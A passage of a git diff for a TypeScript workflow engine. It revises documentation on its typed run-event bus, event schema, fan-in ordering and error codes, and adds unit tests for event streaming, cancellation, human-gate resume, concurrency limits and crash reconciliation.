[../standards/architectural-principles.md](../standards/architectural-principles.md).) See [../reference/shared-core/built-in-tools.md](../reference/shared-core/built-in-tools.md) and [../reference/shared-core/mcp-integration.md](../reference/shared-core/mcp-integration.md). -- **`RunEventBus`** — an `EventEmitter` that carries the typed run events - surfaces subscribe to. The event contract is the - [SSE event schema](../reference/contracts/sse-event-schema.md). +- **`RunEventBus`** — an in-house, **platform-free** typed event bus (pub/sub) over the `RunEvent` + union that surfaces subscribe to. It is built in `packages/core`, **not** Node's `node:events` (the + engine has zero platform imports — [ADR-0036](../decisions/0036-run-loop-substrate-event-bus-and-execution-host.md)). + The event contract is the [SSE event schema](../reference/contracts/sse-event-schema.md). ## YAML → DAG compilation diff --git a/docs/reference/contracts/sse-event-schema.md b/docs/reference/contracts/sse-event-schema.md index 6e72fa41..998e3644 100644 --- a/docs/reference/contracts/sse-event-schema.md +++ b/docs/reference/contracts/sse-event-schema.md @@ -1,7 +1,7 @@ # Run Event Schema - **Status**: Stable -- **Canonical type**: `RunEvent` (discriminated union) in `@relavium/core` / re-exported from `@relavium/shared` +- **Canonical type**: `RunEvent` (discriminated union) **defined in `@relavium/shared`** (`run-event.ts`, the runtime-validated source of truth); `@relavium/core` **consumes and re-exports** it - **Transport**: Phase 1 — in-process `RunEventBus` (the engine runs in-process on **every** surface, including the desktop WebView). Phase 2 — HTTP `text/event-stream` (SSE) from the cloud API. - **Related**: [ipc-contract.md](ipc-contract.md), [workflow-yaml-spec.md](workflow-yaml-spec.md), [../shared-core/store-shapes.md](../shared-core/store-shapes.md), [../shared-core/llm-provider-seam.md](../shared-core/llm-provider-seam.md) (canonical `costMicrocents` unit + the `cost:updated` figures), [../../architecture/execution-model.md](../../architecture/execution-model.md), [../../architecture/state-management.md](../../architecture/state-management.md), [ADR-0018](../../decisions/0018-desktop-execution-and-rust-egress.md) @@ -12,8 +12,8 @@ The **transport** differs by surface and phase, but the **event shape does not** ```mermaid flowchart LR E["@relavium/core\nRunEventBus\n(runs in-process on every surface)"] -->|in-process, WebView-side| D[Desktop WebView stores] - E -->|in-process EventEmitter| C[CLI ink renderer] - E -->|in-process EventEmitter| V[VS Code extension host] + E -->|in-process bus| C[CLI ink renderer] + E -->|in-process bus| V[VS Code extension host] E -. Phase 2 .->|HTTP SSE| P[Cloud Portal] ``` @@ -73,12 +73,12 @@ export type RunEvent = | `agent:file_patch_proposed` | An agent proposed a file change (**gated — no write until the user accepts**; e.g. the VS Code inline-diff review). | `nodeId`, `patches: [{ uri, unifiedDiff }]` (≥1 — an empty proposal is meaningless), `attemptNumber?` | | `cost:updated` | A node's token cost was tallied (drives the cost waterfall). | `nodeId`, `model`, `inputTokens`, `outputTokens`, `costMicrocents`, `cumulativeCostMicrocents` (integer micro-cents — canonical unit in [llm-provider-seam.md](../shared-core/llm-provider-seam.md#6-usage)), `attemptNumber?` (1-based retry attempt this cost belongs to, so per-attempt cost is reconstructable) | | `node:completed` | A node finished successfully. | `nodeId`, `output`, `tokensUsed: {input, output, model?}` (`model` only for LLM nodes), `durationMs`, `attemptNumber?` | -| `node:failed` | A node failed. | `nodeId`, `error: {code, message, retryable}` (`code` is an [`ErrorCode`](#error-code-taxonomy)) | +| `node:failed` | A node failed. | `nodeId`, `error: {code, message, retryable, correlationId?}` (`code` is an [`ErrorCode`](#error-code-taxonomy); `correlationId` is a secret-free id joined to the internal log — ADR-0036) | | `human_gate:paused` | Execution suspended at a human gate. | `nodeId`, `gateId`, `gateType: 'approval' \| 'input' \| 'review'`, `message`, `assignee?`, `timeoutMs?`, `expiresAt?` | | `human_gate:resumed` | A gate decision was applied; execution continues. | `nodeId`, `decision: 'approved' \| 'rejected' \| 'input_provided'`, `decidedBy`, `payload?` | | `run:paused` | The run is suspended with **≥1 gate pending** — the multi-gate aggregate that backs the pending-gate queue (parallel branches may each reach a gate). | `pendingGateCount`, `gateIds[]` | | `run:completed` | The run finished. | `outputs`, `totalTokensUsed`, `totalCostMicrocents` (integer micro-cents closing total for the whole run), `durationMs` | -| `run:failed` | The run failed. | `error: {code, message, retryable, nodeId?}` (`code` is an [`ErrorCode`](#error-code-taxonomy); `nodeId` is the root-cause node), `partialOutputs` | +| `run:failed` | The run failed. | `error: {code, message, retryable, nodeId?, correlationId?}` (`code` is an [`ErrorCode`](#error-code-taxonomy); `nodeId` is the root-cause node; `correlationId` joins to the internal log — ADR-0036), `partialOutputs` | | `run:cancelled` | The run was cancelled. | (base only) | ### Selected definitions @@ -209,6 +209,8 @@ Within a turn, the conversational work reuses the **same** `agent:token` / `agen | `budget:paused` | Spend would exceed the cap with `on_exceed: pause_for_approval`; the run suspends like a human gate and is resumed via the `resume_budget` IPC command. | `spentMicrocents`, `limitMicrocents` | | `run:timeout` | The run hit its `timeout_ms`. | `elapsedMs`, `timeoutMs` | +These three (and `run:paused` / `human_gate:paused`) are **non-terminal** — they signal a governance/suspension state, not the run's end. A run that cannot continue past a timeout or budget cap still closes with **exactly one** `run:failed` carrying `code: run_timeout` / `budget_exceeded`. The exactly-one-terminal-event invariant (`run:completed | run:failed | run:cancelled`) and its precedence are owned by [ADR-0036](../../decisions/0036-run-loop-substrate-event-bus-and-execution-host.md). + **Reserved (declared, but emitted by no Phase-1 code):** - **Loops** ([loops ADR, 0030+](../../decisions/README.md)): `iteration:started` / `iteration:completed`, and an optional `iterationIndex?` / `iterationTotal?` on node-level events. Reserved so the schema is future-proof without Phase-1 bloat. @@ -236,7 +238,7 @@ Removing or repurposing an existing field/type is a breaking change and is not d ### Phase 1 — local (in-process on every surface) - **Desktop**: the engine runs in the WebView's JS runtime ([ADR-0018](../../decisions/0018-desktop-execution-and-rust-egress.md)), so run events are delivered **WebView-side** over the engine's in-process `RunEventBus` — they do **not** cross IPC as `RunEvent`s. The one Rust→WebView channel on the hot path is the delegated LLM egress's typed, backpressure-aware `Channel`: if the WebView consumer lags, the Rust sender awaits, throttling the egress without dropping chunks; the adapter folds those chunks into `agent:token` events on the WebView-side bus. See [ipc-contract.md](ipc-contract.md#run-events-are-webview-side). -- **CLI / VS Code**: the engine runs in-process; events are delivered via the engine's `RunEventBus` (`EventEmitter`) or the `RunHandle.events` async iterable. +- **CLI / VS Code**: the engine runs in-process; events are delivered via the engine's `RunEventBus` (a platform-free, in-house typed event bus — **not** Node's `node:events`; [ADR-0036](../../decisions/0036-run-loop-substrate-event-bus-and-execution-host.md)) or the co-equal `RunHandle.events` async iterable. ### Phase 2 — cloud (HTTP SSE) diff --git a/docs/reference/shared-core/node-types.md b/docs/reference/shared-core/node-types.md index b2360367..381fff91 100644 --- a/docs/reference/shared-core/node-types.md +++ b/docs/reference/shared-core/node-types.md @@ -140,7 +140,7 @@ A fan-in / aggregator node combines N branch results with **one** named strategy | `concat` | `concat` | `concat` | Concatenate branch outputs into an ordered array. | | `object_merge` | `object_merge` | `object_merge` | Shallow-merge branch objects into one object (later branches win on key collision). | | `first` | `first` | `first` | Take the first branch to resolve; ignore the rest. Pairs with `join_strategy: wait_first`. | -| `custom` | `custom` | `custom` | Apply the author-supplied `merge_fn` (a `js` expression that receives `branches` — the branch outputs in **static `parallel_of` declaration order** — plus `run.outputs`; see [expression-sandbox-spec.md](expression-sandbox-spec.md#the-expression-scope-the-one-canonical-binding)). | +| `custom` | `custom` | `custom` | Apply the author-supplied `merge_fn` (a `js` expression that receives `branches` — the branch outputs in the **stable `FanInPlanConfig.branchNodeIds` order** the DAG builder computes (the paired `parallel`'s `parallel_of` order when the merge joins exactly one parallel's branches, else the merge's own incoming branches in authored order — see [run-plan.md §fan-in branch order](run-plan.md)) — plus `run.outputs`; see [expression-sandbox-spec.md](expression-sandbox-spec.md#the-expression-scope-the-one-canonical-binding)). | | `best_of_n` *(reserved — not v1.0)* | `best_of_n` *(reserved)* | `best_of_n` *(reserved)* | A secondary-LLM picker selects the "best" branch. **Not in the v1.0 YAML contract** — it carries unaccounted extra-LLM cost and event implications (an additional agent call + `cost:updated` events), so it is held as a reserved/forward-compat slot, in parity with `LoopNode`. | `join_strategy` (`wait_all` / `wait_first` / `wait_n`) is an **orthogonal** axis — it controls *when* the join fires, not *how* outputs are combined; do not conflate it with `merge_strategy`. diff --git a/docs/reference/shared-core/run-plan.md b/docs/reference/shared-core/run-plan.md index f1f0c86d..c14c7656 100644 --- a/docs/reference/shared-core/run-plan.md +++ b/docs/reference/shared-core/run-plan.md @@ -47,6 +47,10 @@ The author brackets the branches with explicit edges (`parallel → branches → A `fan_in` vertex carries `config.branchNodeIds` — the branch ids in the **stable order** the run loop must surface them to a `custom` `merge_fn` (the sandbox's `ExpressionScope.branches`) and to a `concat` result. It is the paired `parallel`'s **`parallel_of` declaration order** when the merge joins exactly that parallel's branches (the common authored shape), with any extra non-parallel incoming branches appended in authored order; with no unique paired parallel, it is the merge's incoming branches in authored order. This is needed because a vertex's `dependencies` are sorted by **authored index**, which is *not* `parallel_of` order — so neither the run loop nor the sandbox could reconstruct the contract order from the vertex alone. Pinning it on the plan keeps the merge **deterministic** (a reproducible `merge_fn`/`concat` is required for checkpoint/resume, ADR-0027). +A branch a `condition` routed away from is **skipped** by the run loop's skip-propagation ([ADR-0036](../../decisions/0036-run-loop-substrate-event-bus-and-execution-host.md)). A skipped branch **counts as settled** against the join — so a `wait_all` fan-in fires instead of hanging on it — and is **omitted** from the `branches` array surfaced to `merge_fn` / `concat`, preserving the *relative order* of the surviving branches; a fan-in all of whose branches were skipped is itself skipped. + +> **Retry is not lifted onto the plan.** Unlike an agent's `fallbackChain` (lifted onto `AgentPlanConfig` for the run loop's convenience), a node's `retry_config` is **not** copied onto the vertex. The run loop (1.N) makes no retry decision; node-level retry above the provider fallback chain is layered by 1.S, which reads `retry_config` from the authored node (`config.node`). 1.N treats a node failure as terminal for the run. + ## The dependency graph The builder unions three edge sources into one DAG over node ids: diff --git a/docs/roadmap/phases/phase-1-engine-and-llm.md b/docs/roadmap/phases/phase-1-engine-and-llm.md index 8bc7fcfb..8bd3a17e 100644 --- a/docs/roadmap/phases/phase-1-engine-and-llm.md +++ b/docs/roadmap/phases/phase-1-engine-and-llm.md @@ -551,8 +551,9 @@ The loop that dispatches ready nodes and emits the canonical event stream. - Implement `WorkflowEngine.start(workflowId, input)` / `resume` / `cancel`, walking the `RunPlan` and dispatching every node whose dependencies are satisfied (independent branches concurrently). -- Implement the `RunEventBus` (`EventEmitter`) and emit the canonical - colon-namespaced events with a **monotonically increasing `sequenceNumber`** per +- Implement the `RunEventBus` (an in-house, platform-free typed event bus — **not** Node's + `node:events`, which the engine-purity fence bans; [ADR-0036](../../decisions/0036-run-loop-substrate-event-bus-and-execution-host.md)) + and emit the canonical colon-namespaced events with a **monotonically increasing `sequenceNumber`** per run: `run:started`, `node:started`, `agent:token`, `agent:tool_call`, `agent:tool_result`, `cost:updated`, `node:completed`, `node:failed`, `human_gate:paused`/`:resumed`, `run:completed`, `run:failed`, `run:cancelled` diff --git a/docs/standards/error-handling.md b/docs/standards/error-handling.md index 6745b4da..16b9a719 100644 --- a/docs/standards/error-handling.md +++ b/docs/standards/error-handling.md @@ -82,6 +82,17 @@ We distinguish the two and never leak one as the other: session), not something a runner retries into. Note `budget_exceeded` is the **fail-path** code only: ADR-0028's `on_exceed: warn` / `pause_for_approval` branches emit `budget:warning` / `budget:paused` events and do not use this code. +- **Tool-dispatch codes split on policy vs execution.** A tool **policy / grant denial** + ([tool-registry.md](../reference/shared-core/tool-registry.md), + [ADR-0029](../decisions/0029-tool-policy-hardening.md)) carries `tool_denied` and is **fatal** — a + denied call is deterministic, never retried (re-issuing it just re-denies). A tool **execution + failure** (the host capability threw a transient/runtime error) carries `tool_failed` and is + **retryable** within the node retry budget. An absent host capability is `internal` (a host/config + gap, not the model's fault). A tool aborted by the run's `AbortSignal` surfaces on the + **cancellation** path (`cancelled`), never `tool_failed`, so it composes with the + [ADR-0036](../decisions/0036-run-loop-substrate-event-bus-and-execution-host.md) cancel-precedence + rule. Messages stay scrubbed to the code + a user-safe string (the tool id / field, never an + argument value or a host stack). - **`sandbox_error` splits on determinism.** An expression-sandbox failure ([ADR-0027](../decisions/0027-expression-sandbox.md), [expression-sandbox-spec.md](../reference/shared-core/expression-sandbox-spec.md)) carries the closed @@ -90,6 +101,13 @@ We distinguish the two and never leak one as the other: **wall-clock-timeout** trip is **retryable** (a non-idempotent safety net that may pass on re-execution, bounded by the node retry budget). The message is scrubbed to the code + a generic string — never the expression source, a variable name, or a scope value. +- **The catch-all is `internal`, never a silent stop.** An uncaught throw from a node handler with no + more specific classification maps to `internal` with `retryable: false` (a tool throw is + `tool_failed`, a sandbox throw is `sandbox_error` per its determinism split, above). The run loop + ([ADR-0036](../decisions/0036-run-loop-substrate-event-bus-and-execution-host.md)) catches it, emits a + single `run:failed{internal}` rather than hanging, and stamps a secret-free `correlationId` joining + the user-safe message to the internal log — so an unexpected engine fault is always loud and + attributable, never a zombie run. ## Validation at boundaries diff --git a/packages/core/src/engine/engine.test.ts b/packages/core/src/engine/engine.test.ts new file mode 100644 index 00000000..5d537ac0 --- /dev/null +++ b/packages/core/src/engine/engine.test.ts @@ -0,0 +1,635 @@ +import { describe, expect, it } from 'vitest'; + +import type { RunEvent } from '@relavium/shared'; + +import { parseWorkflow, type WorkflowDefinition } from '../parser.js'; +import { EngineStateError } from './errors.js'; +import { + createInMemoryHost, + InMemoryRunStore, + type ExecutionHost, + type RunStore, +} from './execution-host.js'; +import type { NodeExecContext, NodeExecutor, NodeOutcome } from './node-executor.js'; +import type { RunHandle } from './run-handle.js'; +import { WorkflowEngine } from './engine.js'; + +// --- helpers ---------------------------------------------------------------------------------- + +/** Wrap a `workflow:` body into a full v1.0 document and parse it. */ +function workflow(body: string): WorkflowDefinition { + return parseWorkflow(`schema_version: '1.0'\nworkflow:\n${body}`); +} + +type Handler = (ctx: NodeExecContext) => NodeOutcome | Promise; + +/** A configurable {@link NodeExecutor}; an unconfigured vertex completes with its id as the output. */ +class StubExecutor implements NodeExecutor { + constructor(private readonly handlers: Readonly> = {}) {} + execute(ctx: NodeExecContext): Promise { + const handler = this.handlers[ctx.vertex.id]; + if (handler !== undefined) { + return Promise.resolve(handler(ctx)); + } + return Promise.resolve({ kind: 'completed', output: ctx.vertex.id }); + } +} + +function engineWith( + handlers?: Readonly>, + host?: ExecutionHost, +): WorkflowEngine { + return new WorkflowEngine({ + host: host ?? createInMemoryHost(), + executor: new StubExecutor(handlers), + }); +} + +/** Drain a handle's stream to its terminal event. Hangs only if the run never terminates (a bug). */ +async function drain(handle: RunHandle): Promise { + const events: RunEvent[] = []; + for await (const event of handle.events) { + events.push(event); + } + return events; +} + +const TERMINALS: ReadonlySet = new Set([ + 'run:completed', + 'run:failed', + 'run:cancelled', +]); +const terminalsIn = (events: readonly RunEvent[]): readonly RunEvent[] => + events.filter((e) => TERMINALS.has(e.type)); +const typesIn = (events: readonly RunEvent[]): readonly string[] => events.map((e) => e.type); + +/** Assert a synchronous call throws an {@link EngineStateError} with the given code. */ +function expectThrowsCode(fn: () => void, code: string): void { + try { + fn(); + } catch (error) { + expect(error).toBeInstanceOf(EngineStateError); + expect((error as EngineStateError).code).toBe(code); + return; + } + throw new Error(`expected an EngineStateError with code ${code}`); +} + +const SEQUENTIAL = ` id: seq + nodes: + - { id: start, type: input } + - { id: work, type: transform, transform: 'w' } + - { id: done, type: output } + edges: + - { from: start, to: work } + - { from: work, to: done }`; + +// --- the happy path: stream + gap-free sequence + cost accrual -------------------------------- + +describe('WorkflowEngine — the event stream', () => { + it('runs a sequential plan, streaming a gap-free, monotonic sequenceNumber and ending in run:completed', async () => { + const engine = engineWith({ + work: (ctx) => { + ctx.emit({ type: 'agent:token', nodeId: 'work', token: 'he', model: 'm' }); + ctx.emit({ type: 'agent:token', nodeId: 'work', token: 'llo', model: 'm' }); + ctx.emit({ + type: 'cost:updated', + nodeId: 'work', + model: 'm', + inputTokens: 10, + outputTokens: 5, + costMicrocents: 42, + cumulativeCostMicrocents: 0, // engine overwrites with the run-wide cumulative + }); + return { kind: 'completed', output: 'done', tokensUsed: { input: 10, output: 5 } }; + }, + }); + const events = await drain(engine.start({ workflow: workflow(SEQUENTIAL) })); + + // Gap-free, monotonic per the single producer-side translation point. + events.forEach((event, index) => expect(event.sequenceNumber).toBe(index)); + expect(typesIn(events).at(0)).toBe('run:started'); + expect(typesIn(events)).toContain('agent:token'); + expect(typesIn(events)).toContain('cost:updated'); + expect(terminalsIn(events)).toHaveLength(1); + expect(terminalsIn(events)[0]?.type).toBe('run:completed'); + }); + + it('stamps run:started with the resolved UUID workflowId, the execution mode, and a masked secret input', async () => { + const def = workflow(` id: sec + inputs: + - { name: api_key, type: secret } + - { name: topic, type: string } + nodes: + - { id: start, type: input } + - { id: done, type: output } + edges: + - { from: start, to: done }`); + const events = await drain( + engineWith().start({ + workflow: def, + inputs: { api_key: 'sk-do-not-leak', topic: 'weather' }, + executionMode: 'managed', + }), + ); + const started = events.find((e) => e.type === 'run:started'); + if (started?.type !== 'run:started') { + throw new Error('expected a run:started event'); + } + expect(started.workflowId).toMatch(/^[0-9a-f-]{36}$/); // a UUID, not the `sec` slug (ADR-0022) + expect(started.executionMode).toBe('managed'); + expect(started.inputs['api_key']).toEqual({ secret: true, ref: 'inputs.api_key' }); + expect(started.inputs['topic']).toBe('weather'); + expect(JSON.stringify(events)).not.toContain('sk-do-not-leak'); + }); + + it('accrues the run-wide cumulative cost and totals it on run:completed', async () => { + const emitCost = (nodeId: string, amount: number): Handler => { + return (ctx) => { + ctx.emit({ + type: 'cost:updated', + nodeId, + model: 'm', + inputTokens: 1, + outputTokens: 1, + costMicrocents: amount, + cumulativeCostMicrocents: 999, // ignored — the engine owns the cumulative + }); + return { kind: 'completed', output: nodeId, tokensUsed: { input: 1, output: 1 } }; + }; + }; + const events = await drain( + engineWith({ start: emitCost('start', 100), work: emitCost('work', 50) }).start({ + workflow: workflow(SEQUENTIAL), + }), + ); + const costs = events.filter((e) => e.type === 'cost:updated'); + expect(costs.map((e) => (e.type === 'cost:updated' ? e.cumulativeCostMicrocents : 0))).toEqual([ + 100, 150, + ]); + const completed = events.find((e) => e.type === 'run:completed'); + if (completed?.type !== 'run:completed') { + throw new Error('expected run:completed'); + } + expect(completed.totalCostMicrocents).toBe(150); + expect(completed.totalTokensUsed).toEqual({ input: 2, output: 2 }); + }); +}); + +// --- cancellation ----------------------------------------------------------------------------- + +describe('WorkflowEngine — cancellation', () => { + it('cancels mid-stream, aborts the in-flight node cooperatively, and ends in exactly one run:cancelled', async () => { + let abortObserved = false; + const engine = engineWith({ + slow: (ctx) => + new Promise((resolve) => { + // The correct executor pattern (what 1.O/1.P do): honour an abort that already fired, then + // subscribe — a listener registered after the signal aborted never fires (as with a native + // AbortSignal), so checking `aborted` first avoids hanging on a fast cancel. + const onAbort = (): void => { + abortObserved = true; + resolve({ kind: 'completed', output: 'aborted-late' }); + }; + if (ctx.signal.aborted) { + onAbort(); + return; + } + ctx.signal.addEventListener('abort', onAbort); + }), + }); + const handle = engine.start({ + workflow: workflow(` id: cancel + nodes: + - { id: start, type: input } + - { id: slow, type: transform, transform: 's' } + - { id: done, type: output } + edges: + - { from: start, to: slow } + - { from: slow, to: done }`), + }); + + const events: RunEvent[] = []; + for await (const event of handle.events) { + events.push(event); + if (event.type === 'node:started' && event.nodeId === 'slow') { + engine.cancel(handle.runId); + } + } + + expect(abortObserved).toBe(true); // the in-flight node actually saw the AbortSignal + expect(terminalsIn(events)).toHaveLength(1); + expect(terminalsIn(events)[0]?.type).toBe('run:cancelled'); + // `done` is downstream of the cancelled node — it must never have started. + expect(events.some((e) => e.type === 'node:started' && e.nodeId === 'done')).toBe(false); + }); +}); + +// --- condition skip-propagation + fan-in over a skipped branch -------------------------------- + +describe('WorkflowEngine — condition skip-propagation', () => { + const CONDITIONAL = ` id: cond + nodes: + - { id: start, type: input } + - { id: gate, type: condition, expression: 'x', branches: [{ when: true, target_node: approve }, { when: false, target_node: reject }] } + - { id: approve, type: transform, transform: 'a' } + - { id: reject, type: transform, transform: 'r' } + - { id: join, type: merge, merge_strategy: concat } + - { id: out, type: output } + edges: + - { from: start, to: gate } + - { from: approve, to: join } + - { from: reject, to: join } + - { from: join, to: out }`; + + it('skips the unselected branch subtree and still joins the fan-in over the surviving branch', async () => { + const events = await drain( + engineWith({ + gate: () => ({ kind: 'branch', output: 'go', selected: ['approve'] }), + }).start({ workflow: workflow(CONDITIONAL) }), + ); + const startedNodes = events + .filter((e) => e.type === 'node:started') + .map((e) => (e.type === 'node:started' ? e.nodeId : '')); + expect(startedNodes).toContain('approve'); + expect(startedNodes).not.toContain('reject'); // skipped — no node:started, no node:completed + expect(startedNodes).toContain('join'); // the fan-in joined despite the skipped branch + expect(terminalsIn(events)[0]?.type).toBe('run:completed'); + }); + + it('skips a whole subtree reachable only through the unselected branch', async () => { + const events = await drain( + engineWith({ + gate: () => ({ kind: 'branch', output: 'go', selected: ['reject'] }), + }).start({ workflow: workflow(CONDITIONAL) }), + ); + const startedNodes = events + .filter((e) => e.type === 'node:started') + .map((e) => (e.type === 'node:started' ? e.nodeId : '')); + expect(startedNodes).not.toContain('approve'); + expect(startedNodes).toContain('reject'); + expect(terminalsIn(events)[0]?.type).toBe('run:completed'); + }); +}); + +// --- exactly-one-terminal-event guarantees ---------------------------------------------------- + +describe('WorkflowEngine — the exactly-one-terminal-event invariant', () => { + it('maps an uncaught node-handler throw to a single run:failed{internal}', async () => { + const events = await drain( + engineWith({ + work: () => { + throw new Error('kaboom from a node body'); + }, + }).start({ workflow: workflow(SEQUENTIAL) }), + ); + expect(terminalsIn(events)).toHaveLength(1); + const failed = events.find((e) => e.type === 'run:failed'); + if (failed?.type !== 'run:failed') { + throw new Error('expected run:failed'); + } + expect(failed.error.code).toBe('internal'); + expect(failed.error.retryable).toBe(false); + expect(failed.error.nodeId).toBe('work'); + // A secret-free correlation id is stamped at the single translation point (ADR-0036). + expect(typeof failed.error.correlationId).toBe('string'); + expect(failed.error.correlationId).not.toBe(''); + // The user-safe message never leaks the thrown error text. + expect(failed.error.message).not.toContain('kaboom'); + expect(events.some((e) => e.type === 'node:started' && e.nodeId === 'done')).toBe(false); + }); + + it('maps a classified node failure to node:failed then a single run:failed', async () => { + const events = await drain( + engineWith({ + work: () => ({ + kind: 'failed', + error: { code: 'tool_failed', message: 'the tool returned non-zero', retryable: false }, + }), + }).start({ workflow: workflow(SEQUENTIAL) }), + ); + expect(typesIn(events)).toContain('node:failed'); + const terminals = terminalsIn(events); + expect(terminals).toHaveLength(1); + expect(terminals[0]?.type).toBe('run:failed'); + }); +}); + +// --- human gate suspend / resume -------------------------------------------------------------- + +describe('WorkflowEngine — human gate suspend/resume', () => { + const GATED = ` id: gated + nodes: + - { id: start, type: input } + - { id: g, type: human_gate, gate_type: approval } + - { id: out, type: output } + edges: + - { from: start, to: g } + - { from: g, to: out }`; + + it('pauses at a gate (run:paused aggregate), resumes on a decision, and completes', async () => { + const engine = engineWith({ + g: () => ({ kind: 'paused', gate: { gateType: 'approval', message: 'approve?' } }), + }); + const handle = engine.start({ workflow: workflow(GATED) }); + const events: RunEvent[] = []; + // Resume off run:paused (the idle aggregate) so the run has actually reached its suspended state — + // its gateIds carry the same gateId human_gate:paused did. (Resuming on the per-gate event can race + // ahead of the run going idle; run:paused is the surface-facing "≥1 gate pending" signal.) + for await (const event of handle.events) { + events.push(event); + if (event.type === 'run:paused') { + const gateId = event.gateIds[0]; + if (gateId !== undefined) { + await engine.resume(handle.runId, gateId, { decision: 'approved', decidedBy: 'tester' }); + } + } + } + const paused = events.find((e) => e.type === 'run:paused'); + if (paused?.type !== 'run:paused') { + throw new Error('expected run:paused'); + } + expect(paused.pendingGateCount).toBe(1); + expect(paused.gateIds).toHaveLength(1); + expect(typesIn(events)).toContain('human_gate:paused'); + expect(typesIn(events)).toContain('human_gate:resumed'); + expect(terminalsIn(events)[0]?.type).toBe('run:completed'); + expect(events.some((e) => e.type === 'node:started' && e.nodeId === 'out')).toBe(true); + }); + + it('rejects a resume with an unknown gateId while paused (unknown_gate)', async () => { + const engine = engineWith({ + g: () => ({ kind: 'paused', gate: { gateType: 'approval', message: 'approve?' } }), + }); + const handle = engine.start({ workflow: workflow(GATED) }); + const events: RunEvent[] = []; + let caught: unknown; + for await (const event of handle.events) { + events.push(event); + if (event.type === 'human_gate:paused') { + try { + await engine.resume(handle.runId, 'not-a-real-gate', { + decision: 'approved', + decidedBy: 'tester', + }); + } catch (error) { + caught = error; + } + // resolve the real gate so the run terminates and the loop ends + await engine.resume(handle.runId, event.gateId, { decision: 'approved', decidedBy: 't' }); + } + } + expect(caught).toBeInstanceOf(EngineStateError); + expect((caught as EngineStateError).code).toBe('unknown_gate'); + }); +}); + +// --- concurrency cap -------------------------------------------------------------------------- + +describe('WorkflowEngine — max_parallel concurrency cap', () => { + it('never runs more than max_parallel branches concurrently, yet runs them all', async () => { + let live = 0; + let maxLive = 0; + const branch: Handler = async () => { + live += 1; + maxLive = Math.max(maxLive, live); + await new Promise((resolve) => setTimeout(resolve, 5)); + live -= 1; + return { kind: 'completed', output: null }; + }; + const events = await drain( + engineWith({ b1: branch, b2: branch, b3: branch }).start({ + workflow: workflow(` id: par + max_parallel: 2 + nodes: + - { id: start, type: input } + - { id: fan, type: parallel, parallel_of: [b1, b2, b3] } + - { id: b1, type: transform, transform: '1' } + - { id: b2, type: transform, transform: '2' } + - { id: b3, type: transform, transform: '3' } + - { id: join, type: merge, merge_strategy: concat } + - { id: out, type: output } + edges: + - { from: start, to: fan } + - { from: b1, to: join } + - { from: b2, to: join } + - { from: b3, to: join } + - { from: join, to: out }`), + }), + ); + expect(maxLive).toBeLessThanOrEqual(2); + const completedBranches = events.filter( + (e) => e.type === 'node:completed' && ['b1', 'b2', 'b3'].includes(e.nodeId), + ); + expect(completedBranches).toHaveLength(3); + expect(terminalsIn(events)[0]?.type).toBe('run:completed'); + }); +}); + +// --- crash reconciliation --------------------------------------------------------------------- + +describe('WorkflowEngine — crash reconciliation', () => { + function seedStarted(store: RunStore, runId: string, lastType?: RunEvent['type']): Promise { + const startedAt = '2026-06-13T00:00:00.000Z'; + const events: RunEvent[] = [ + { + type: 'run:started', + runId, + timestamp: startedAt, + sequenceNumber: 0, + workflowId: '00000000-0000-4000-8000-000000000099', + inputs: {}, + executionMode: 'local', + }, + ]; + if (lastType === 'human_gate:paused') { + events.push({ + type: 'human_gate:paused', + runId, + timestamp: startedAt, + sequenceNumber: 1, + nodeId: 'g', + gateId: 'gid', + gateType: 'approval', + message: 'approve?', + }); + } + return Promise.all(events.map((e) => store.persistEvent(e))).then(() => undefined); + } + + it('fails a crashed, non-resumable run with a single run:failed continuing its sequence', async () => { + const store = new InMemoryRunStore(); + await seedStarted(store, 'crashed-1'); + const engine = engineWith(undefined, createInMemoryHost({ store })); + + const reconciled = await engine.reconcile(); + expect(reconciled).toHaveLength(1); + expect(reconciled[0]?.type).toBe('run:failed'); + expect(reconciled[0]?.runId).toBe('crashed-1'); + expect(reconciled[0]?.sequenceNumber).toBe(1); // continues from the last persisted seq (0) + const persisted = store.eventsFor('crashed-1'); + expect(persisted.some((e) => e.type === 'run:failed')).toBe(true); + }); + + it('leaves a gate-parked (resumable) interrupted run for resume, not reconciliation', async () => { + const store = new InMemoryRunStore(); + await seedStarted(store, 'paused-1', 'human_gate:paused'); + const engine = engineWith(undefined, createInMemoryHost({ store })); + expect(await engine.reconcile()).toHaveLength(0); + }); +}); + +// --- API-boundary errors ---------------------------------------------------------------------- + +describe('WorkflowEngine — API-boundary errors (EngineStateError)', () => { + it('cancel/resume on an unknown run throw unknown_run', async () => { + const engine = engineWith(); + expectThrowsCode(() => engine.cancel('nope'), 'unknown_run'); + await expect( + engine.resume('nope', 'g', { decision: 'approved', decidedBy: 't' }), + ).rejects.toMatchObject({ code: 'unknown_run' }); + }); + + it('resume with an invalid decision throws invalid_decision', async () => { + const engine = engineWith(); + const handle = engine.start({ workflow: workflow(SEQUENTIAL) }); + await drain(handle); // run to completion so the run exists in the map + await expect( + engine.resume(handle.runId, 'g', { decision: 'maybe' } as never), + ).rejects.toMatchObject({ code: 'invalid_decision' }); + }); + + it('cancel after the run terminated throws run_already_terminal', async () => { + const engine = engineWith(); + const handle = engine.start({ workflow: workflow(SEQUENTIAL) }); + await drain(handle); + expectThrowsCode(() => engine.cancel(handle.runId), 'run_already_terminal'); + }); + + it('resume on a running run with no pending gate throws run_not_paused', async () => { + let release: (() => void) | undefined; + const engine = engineWith({ + slow: (ctx) => + new Promise((resolve) => { + release = () => resolve({ kind: 'completed', output: null }); + ctx.signal.addEventListener('abort', () => resolve({ kind: 'completed', output: null })); + }), + }); + const handle = engine.start({ + workflow: workflow(` id: nogate + nodes: + - { id: start, type: input } + - { id: slow, type: transform, transform: 's' } + - { id: done, type: output } + edges: + - { from: start, to: slow } + - { from: slow, to: done }`), + }); + const events: RunEvent[] = []; + let caught: unknown; + for await (const event of handle.events) { + events.push(event); + if (event.type === 'node:started' && event.nodeId === 'slow') { + try { + await engine.resume(handle.runId, 'g', { decision: 'approved', decidedBy: 't' }); + } catch (error) { + caught = error; + } + release?.(); + } + } + expect(caught).toBeInstanceOf(EngineStateError); + expect((caught as EngineStateError).code).toBe('run_not_paused'); + expect(terminalsIn(events)[0]?.type).toBe('run:completed'); + }); + + it('resume after the run terminated throws run_already_terminal', async () => { + const engine = engineWith(); + const handle = engine.start({ workflow: workflow(SEQUENTIAL) }); + await drain(handle); + await expect( + engine.resume(handle.runId, 'g', { decision: 'approved', decidedBy: 't' }), + ).rejects.toMatchObject({ code: 'run_already_terminal' }); + }); +}); + +// --- internal failures, host-side cancel, and reconnection edges ------------------------------ + 